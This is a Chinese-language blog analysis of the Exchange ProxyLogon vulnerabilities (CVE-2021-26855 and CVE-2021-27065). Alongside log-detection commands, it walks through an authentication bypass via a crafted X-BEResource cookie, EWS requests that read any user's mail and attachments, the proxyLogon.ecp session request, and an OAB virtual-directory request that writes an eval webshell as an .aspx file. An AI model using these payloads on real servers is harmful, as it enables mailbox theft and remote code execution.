CVE-2021–26855 & CVE-2021–27065(ProxyLogon)分析

CVE-2021–26855 & CVE-2021–27065(ProxyLogon)分析

3月初公布的4个Exchange 0day就像重磅炸弹一样,在安全圈子内引起了很大的动荡。毕竟作为内网安全领域的 ” 王牌嘉宾 ” ,Exchange永远都是最受关注的系统。这次一共公布了4个0day:

  • CVE-2021–26855:SSRF
  • CVE-2021-27065:任意文件写入
  • CVE-2021-26857:认证后的反序列化
  • CVE-2021-26858:任意文件写入

其中有些利用的利用链非常精彩,因此这篇文章也是来讨论一下其中一些攻击细节

概述

针对ProxyLogon,我个人的理解是,exchange提供给用户的请求接口,是通过https,也就是服务的443端口,而后端真正处理的这些接口,是在服务的444端口。因此本次的漏洞就是发生在https与后端针对机器本身的一个衔接的过程之中。

CVE-2021-26855

windows 针对该漏洞的日志的检测

1
2
Import-Csv -Path (Get-ChildItem -Recurse -Path "$env:PROGRAMFILES\Microsoft\Exchange Server\V15\Logging\HttpProxy" -Filter '*.log').FullName `
| Where-Object { $_.AuthenticatedUser -eq '' -and $_.AnchorMailbox -like 'ServerInfo~*/*' } | select DateTime, AnchorMailbox

对比修补补丁,发现命名空间 Microsoft.Exchange.FrontEndHttpProxy 中存在修改。

img

具体修改了 BEResourceRequestHandler

img

跟踪这个类,找到在 ProxyModule 类中的 SelectHandlerForUnauthenticatedRequest 方法调用了它

img

继续跟发现在 BEResourceRequestHandler.CanHandle() 方法中调用

img

这里做了两个判断:

使用 GetBEResouceCookie 方法检查cookie存在,返回 X-BEResource cookie值

img

IsResourceRequests 方法将检查请求的是不是静态资源。如果是的,会将cookie值传递到 ServerAnchorMailbox 类中,该类用以定位该邮箱地址。该cookie值通过**BackEndServer.FromString** 方法处理,作为后端服务器被请求。

img

img

可以看到使用 ~ 分割cookie值,将 array[1] 转换为int并存为 version ,并将 array[0] 作为请求服务器

因此可以构造

1
X-BEResource = EXCHANGE2016〜1942062522

发现返回的 BackEndServer 对象在 ProxyRequestsHandler 类中的 GetTargetBackEndServerUrl 方法中调用。可以看到通过 UriBuilder 类来拼接url,这是 .net 的原生类。

img

img

可以看到 UriBuilder.ToString 的构造方式,将解析用户信息、host、端口、路径、请求参数和路由。

UriBuilder 解析的例子如下:

1
2
3
4
5
6
7
8
# http://222:333@a.b.c/x/y/z.php?m=102909#111
scheme:http
userInfo:222:333
host:a.b.c
path:/x/y/z.php
queryParams:[m=102909]
fragment:111 路由
charset:GBK

因此当我们像构造路径请求后端的节点时(例如 /autodiscover/autodiscover.xml)uribuilder不会将 ~1942062522 解析为路径,所以为了使得请求带有分割的参数,我们最终可以通过添加请求参数或者路由来拼接 ~1942062522。最终可构造如下。

1
2
3
X-BEResource=EXCHANGE2016/owa/auth/logon.aspx?a=~1942062522;

X-BEResource=EXCHANGE2016/owa/auth/logon.aspx#~1942062522;

当然为了能够进入到 BackendServer 的实现,我们需要确保开头的两个判断成立,换句话说需要保证请求的是静态资源。而由于这部分只是对转发协议的实现,并不涉及真实文件是否存在的判断。所以并不需要真实的路径存在。因此,仅请求 /ecp/x.js 就可以满足条件。

至此,CVE-2021-26855就诞生了。:-)

绕过验证获取邮件

通过kerberos绕过认证

/EWS/Exchange.asmx 是exchange提供的web service接口,允许通过远程soap请求,通过xml数据操作exchange服务,包括对邮箱的操作。

我们尝试通过SSRF漏洞去请求ews的接口,我先尝试更改了机器名

image-20210319171945640

通过报错发现原来后端使用了 negotiate 认证,即是通过票据认证的。因此我们可以通过请求域内FQDN(机器名+域名)来使用本地票据通过认证。原理就类似白银票据,利用本地的机器hash来伪造任意用户。

image-20210319172331529

果然当我们使用正确的机器名,我们就绕过了登录验证。

操作邮件

通过发送xml数据,利用ews接口可以直接操作邮箱服务,三好学生师傅已经有文章讲述如何通过xml操作ews接口

链接 :https://3gstudent.github.io/3gstudent.github.io/Exchange-Web-Service(EWS)%E5%BC%80%E5%8F%91%E6%8C%87%E5%8D%972-SOAP-XML-message/

当然也可以直接通过微软的官方文档来学习

链接:https://docs.microsoft.com/zh-cn/exchange/client-developer/web-service-reference/ews-operations-in-exchange

三好学生师傅的代码还需要少许修改,通过 <t:EmailAddress>admin@x.local</t:EmailAddress> 来指定邮箱名

以下摘自三好师傅的博客,并加入少许修改

  • 查看数量

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    <?xml version="1.0" encoding="utf-8"?>
    <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages"
    xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"
    xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
    <soap:Body>
    <m:GetFolder>
    <m:FolderShape>
    <t:BaseShape>Default</t:BaseShape>
    </m:FolderShape>
    <m:FolderIds>
    <t:DistinguishedFolderId Id="inbox"/>
    <t:Mailbox>
    <t:EmailAddress>admin@x.local</t:EmailAddress>
    </t:Mailbox>
    </t:DistinguishedFolderId>
    </m:FolderIds>
    </m:GetFolder>
    </soap:Body>
    </soap:Envelope>
  • 获得收件箱邮件信息

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    <?xml version="1.0" encoding="utf-8"?>
    <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
    <soap:Header>
    <t:RequestServerVersion Version="Exchange2013_SP1" />
    </soap:Header>
    <soap:Body>
    <m:FindItem Traversal="Shallow">
    <m:ItemShape>
    <t:BaseShape>AllProperties</t:BaseShape>
    <t:BodyType>Text</t:BodyType>
    </m:ItemShape>
    <m:IndexedPageItemView MaxEntriesReturned="2147483647" Offset="0" BasePoint="Beginning" />
    <m:ParentFolderIds>
    <t:DistinguishedFolderId Id="inbox" />
    <t:Mailbox>
    <t:EmailAddress>admin@x.local</t:EmailAddress>
    </t:Mailbox>
    </m:ParentFolderIds>
    </m:FindItem>
    </soap:Body>
    </soap:Envelope>

    通过返回内容可以获得收件箱所有邮件的标题、收发关系、是否带有附件等,但无法显示正文内容和附件名称

    通过返回内容能够获得每个邮件对应的ItemId和ChangeKey,进而获得邮件内容、附件的名称和Id

  • 获得邮件的内容

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    <?xml version="1.0" encoding="utf-8"?>
    <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
    <soap:Header>
    <t:RequestServerVersion Version="Exchange2013_SP1" />
    </soap:Header>
    <soap:Body>
    <m:GetItem>
    <m:ItemShape>
    <t:BaseShape>AllProperties</t:BaseShape>
    <t:BodyType>Text</t:BodyType>
    </m:ItemShape>
    <m:ItemIds>
    <t:ItemId Id="{id}" ChangeKey="{key}" />
    <t:Mailbox>
    <t:EmailAddress>admin@x.local</t:EmailAddress>
    </t:Mailbox>
    </m:ItemIds>
    </m:GetItem>
    </soap:Body>
    </soap:Envelope>
  • 获得邮件的附件名字

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    <?xml version="1.0" encoding="utf-8"?>
    <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
    <soap:Header>
    <t:RequestServerVersion Version="Exchange2013_SP1" />
    </soap:Header>
    <soap:Body>
    <m:GetItem>
    <m:ItemShape>
    <t:BaseShape>IdOnly</t:BaseShape>
    <t:AdditionalProperties>
    <t:FieldURI FieldURI="item:Attachments" />
    </t:AdditionalProperties>
    </m:ItemShape>
    <m:ItemIds>
    <t:ItemId Id="{id}" />
    <t:Mailbox>
    <t:EmailAddress>admin@x.local</t:EmailAddress>
    </t:Mailbox>
    </m:ItemIds>
    </m:GetItem>
    </soap:Body>
    </soap:Envelope>

    返回附件的id、类型

  • 获取附件内容

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    <?xml version="1.0" encoding="utf-8"?>
    <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
    <soap:Header>
    <t:RequestServerVersion Version="Exchange2013_SP1" />
    </soap:Header>
    <soap:Body>
    <m:GetAttachment>
    <m:AttachmentIds>
    <t:AttachmentId Id="{id}" />
    <t:Mailbox>
    <t:EmailAddress>admin@x.local</t:EmailAddress>
    </t:Mailbox>
    </m:AttachmentIds>
    </m:GetAttachment>
    </soap:Body>
    </soap:Envelope>

    返回的数据中,<t:content> 标签内的数据为base64编码后的内容,解码后可获得附件的内容。这里要注意附件的类型,如果为text,表示文本类型,否则在保存附件时需要以二进制格式写入。

获取GAL

Exchange GlobalAddressList(全局地址列表)包含域内所有的邮件用户地址,获取他将对我们的渗透测试大有帮助,我们同样可以通过SSRF+xml来尝试导出GAL

之前的exchange利用中提到过,可以利用OAB来导出GAL,这是通过 /autodiscover/autodiscover.xml 接口来查询OAB地址的信息

  • 通过发送以下xml数据获取OAB地址

    1
    2
    3
    4
    5
    <Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">
    <Request>
    <EMailAddress>administrator@x.local</EMailAddress> <AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>
    </Request>
    </Autodiscover>

    image-20210320140812666

    这里会返回OABUrl,然后访问oaburl/oab.xml,会返回lzx文件地址

    image-20210320141322991

    直接访问lzx文件地址可以获得该内容

    image-20210320141446901

    使用 oabextract 工具可还原地址列表

    1
    2
    3
    oabextract 4667c322-5c08-4cda-844a-253ff36b4a6a-data-5.lzx gal.oab

    strings gal.oab|grep SMTP

    CVE-2021-27065

Windows提供的针对该漏洞的日志检测

1
2
Select-String -Path "$env:PROGRAMFILES\Microsoft\ExchangeServer\V15\Logging\ECP\Server\*.log" `
-Pattern 'Set-.+VirtualDirectory'

下面是SSRF漏洞的又一个危险的利用,攻击者可以利用该漏洞在exchange服务器上任意位置写入文件。并且可以部分控制写入内容,这就提供了一个完成RCE的全部条件。

根据上述的检测方式,可以发现,该RCE利用了虚拟目录的功能。通过对比补丁,发现是Microsoft.Exchange.Management.ControlPanel.DIServiceWriteFileActivity

类的变化。

img

很明显,改动后强制了文件后缀为 ‘txt’ ,这就说明,可以通过修改路径为 web目录 + .aspx 来写入webshell。

这里其实是邮箱管理员用户的一个功能,即修改存储oab虚拟目录设置的文件的位置。而这里并没有校验文件的后缀名与路径。

img

而通过虚拟目录设置中的 外部url内部url 参数,可以达到在该文件中,写入任意内容。

img

虽然服务端对提交的url参数进行了url路径格式验证,但我们仍可以通过前面设置路由或者参数的方式,绕过该验证

1
http://o/#<script language="JScript" runat="server">function Page_Load(){eval(Request["mlwqloai"],"unsafe");}</script>

仍然要绕过的认证

现在我们拥有了一个写入漏洞的攻击路径,只需要能绕过ecp端的认证即可成功操作虚拟目录,写入文件。

于是我们想到了之前拥有的SSRF漏洞。但是不幸的是,普通的ecp端口的访问时经过\owa\auth的认证,相当于走的web端的认证,并不是走的票据认证,于是简单的将请求relay到ecp接口是行不通的,仍会跳转到owa的登录页。于是问题变成了,能不能找到一个可以通过ecp认证的地方。

通过翻找日志,我们发现了这样的请求

image-20210320150337591

我们发现了攻击者请求了ecp下的一个接口,叫做 /ecp/proxyLogon.ecp ,这一刻,我终于明白了这个漏洞名字的由来(哭了)

于是经过一波和大佬们的讨论已经网上的文章,终于理清了这个神秘的任意文件写入漏洞的完整利用。

在ecp目录下的web.config中定义了对proxyLogon.ecp的调用方式

img

img

后端将请求的参数进行序列化,并联合三个头部参数:msExchLogonAccountmsExchLogonMailboxMsExchTargetMailbox 进行验证。

通过学习网上的歪果大师傅的文章,他构造出了可以通过验证的请求内容:

1
<r at="Negotiate" ln="john"><s>sid</s></r>

而那三个头部,通过代码里的表示,应该是标识邮箱的sid,其实当你在autodiscover端登录成功时,就会返回给你这个标识

image-20210320153241885

然后服务端会给通过验证的请求,设置session。

image-20210320154931598

我们成功获得了返回的sessionid和Canary!

然后就可以直接利用此凭据,去请求操作oad的接口,以下是修改filename的数据包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST /ecp/DDI/DDIService.svc/SetObject?schema=ResetOABVirtualDirectory&msExchEcpCanary={csrf} HTTP/1.1
Host: localhost
Cookie: msExchEcpCanary={csrf};
Content-Type: application/json
{
"identity": {
"__type": "Identity:ECP",
"DisplayName": "OAB (Default Web Site)",
"RawIdentity": "cf64594f-d739-44a4-aa70-3fbd158625e2"
},
"properties": {
"Parameters": {
"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel",
"FilePathName": "C:\\VirtualDirectory.aspx"
}
}
}

其中的oabid可以通过以下数据包获得

1
2
3
4
5
6
7
{
"filter": {
"Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel",
"SelectedView": "", "SelectedVDirType": "All"}
},
"sort": {}
},

获得sid

而通过ecp的认证需要获得用户的sid,sid标识着域内的每一个用户,那要怎么获得他呢。通过之前的日志看到,攻击者回去请求 autodiscover 和 mapi 两个接口。根据网上师傅们的文章,得知:

  • 通过对mapi接口请求,其报错中会返回sid

    img

  • 而请求的内容由之前请求的autodiscover返回数据中的 <LegacyDN> 标签内的数据组成。

  • 注:对mapi接口的请求,需要加上

    1
    2
    3
    4
    'X-Requesttype': 'Connect',
    'X-Requestid': '{CD123DD3-2CD3-45G5-BF34-2345676543V5}:2',
    'X-Clientapplication': 'Outlook/15.0.1473.1002',
    'X-Clientinfo': '{2F94A2BF-A2E6-4CCC-BF98-B5F22C542226}'

    这几个头部参数(id和info里面的内容应该是随机的,所以并不影响)


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!